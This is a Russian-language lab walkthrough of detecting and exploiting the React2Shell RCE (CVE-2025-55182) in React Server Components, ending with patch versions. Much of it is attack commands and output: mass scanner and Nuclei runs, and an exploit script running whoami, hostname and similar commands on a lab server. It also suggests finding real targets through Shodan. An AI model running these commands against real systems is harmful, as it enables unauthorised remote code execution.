Симуляция эксплуатации React2Shell (CVE-2025-55182)

Примечание:

• Этот документ предназначен только для образовательных целей и исследований в области безопасности.
• Не используйте его для атаки на системы без соответствующего разрешения.

1. Обзор

CVE-2025-55182, также известная как React2Shell, — это критическая уязвимость удалённого выполнения кода (Remote Code Execution, RCE), затрагивающая React Server Components (RSC). Она использует протокол Flight для связи между клиентом и сервером. Когда клиент запрашивает данные, сервер получает payload и анализирует его, что может позволить атакующему внедрить вредоносные структуры или произвольный код, который React принимает как допустимый.

2. Причина

Сервер обрабатывает payload от клиента без полной валидации, что позволяет атакующему:

• внедрять вредоносные payload
• выполнять код на сервере
• эксплуатировать уязвимость без аутентификации пользователя, поскольку это уязвимость до этапа аутентификации.

Эксплуатация этой уязвимости была обнаружена 5 декабря 2025 года. Большинство успешных эксплойтов связано с оценочной деятельностью атакующих групп. Затронуты как среды Windows, так и Linux.

3. Практическая часть

Установка

pip install -r requirements.txt

Сканирование уязвимого сервера:

python3 scanner.py -u https://example.com

Введите путь для сканирования (здесь я ввёл свой уязвимый сервер http://192.168.10.1:3000)

Полученный результат:

╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

Кроме того, можно выполнять сканирование в зависимости от ваших целей эксплуатации:

Сканирование списка серверов:

python3 scanner.py -l hosts.txt

Сканирование в несколько потоков с сохранением результатов:

python3 scanner.py -l hosts.txt -t 20 -o results.json

Сканирование с пользовательскими заголовками:

python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Сканирование Windows-целей:

python3 scanner.py -u https://example.com --windows

Использование безопасного метода обнаружения по побочному каналу:

python3 scanner.py -u https://example.com --safe-check

Как видите, перед нами уязвимость безопасности, а значит, наш сервер может быть легко атакован злоумышленником.

Nuclei

Теперь воспользуемся Nuclei, чтобы проверить, есть ли на этом сервере уязвимость с готовым PoC. Этот функционал отправляет настраиваемые запросы, снижает количество ложных срабатываний (false positive) и поддерживает параллельное сканирование.

nuclei -t scan.yaml -u http://192.168.10.1:3000

Полученный результат

[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.

Система обнаружила, что этот сервер уязвим и может быть эксплуатирован через CVE-2025-55182. Отсюда видно, что это довольно опасная и серьёзная уязвимость, по которой уже есть множество PoC на социальных платформах. ☺☺☺

4. Способ эксплуатации

Как видите, этой информации уже достаточно, чтобы подтвердить существование уязвимости в указанном приложении. Чтобы доказать, что данное приложение можно использовать для запуска команды или удалённого выполнения кода, я запущу PoC.

chmod +x scanner.sh

Использование

# Check xem đối phương có vulnerable ko
./datscan.sh -d example.com

# Thực thi lệnh kiểm tra user hiện tại
./datscan.sh -d example.com -c "whoami"

# With full URL
./datscan.sh -d example.com -c "uname -a"

Значение:

Возвращает текущего пользователя, под которым запущен серверный процесс.

Помогает определить:

• под каким пользователем работает приложение;
• уровень привилегий (low privilege или admin).

=> Это самая базовая команда для подтверждения успешного RCE.

Примечание

• -d, --domain — domain/URL
• -c, --command — команда для выполнения (напр.: whoami, hostname,...)

Примеры

# Check xem tên máy
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# Xác định phiên bản hệ điều hành
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# Kiểm tra command execution có hoạt động ổn định không
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

ИЛЛЮСТРАЦИЯ ПОСЛЕ ВЫПОЛНЕНИЯ

Это этап начальной разведки (initial reconnaissance) после успешной эксплуатации.

Позволяет нам подтвердить: RCE работает, определить операционную систему,...

ВНИМАНИЕ

Поскольку в этом эксперименте я демонстрирую работу в личной лабораторной среде, чтобы не нарушать закон, использование HTTP-заголовков для кражи данных, больших выводов или специальных символов может вызывать:

• ERR_INVALID_CHAR
• сокращение ответа (Response)
• тайм-ауты (Timeouts)

Короткие команды (например, whoami, ver) более надёжны для демонстрации в указанной тестовой среде.

Если не хотите, можете использовать Shodan для проверки реальных IP-адресов в реальной среде и повторить описанный выше эксперимент для эксплуатации (не рекомендуется).

Как уже отмечалось выше. Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Не используйте его для тестирования систем, которыми вы не владеете или на тестирование которых у вас нет разрешения.

5. Способы устранения уязвимости

• Не доверяйте данным от клиента
• Строго валидируйте ввод
• Обновите версии
  • React: >= 19.0.1 / 19.1.2 / 19.2.1
  • Next.js: >= 15.0.5 / 16.0.7

6. Дополнительные ссылки

• CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
• CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/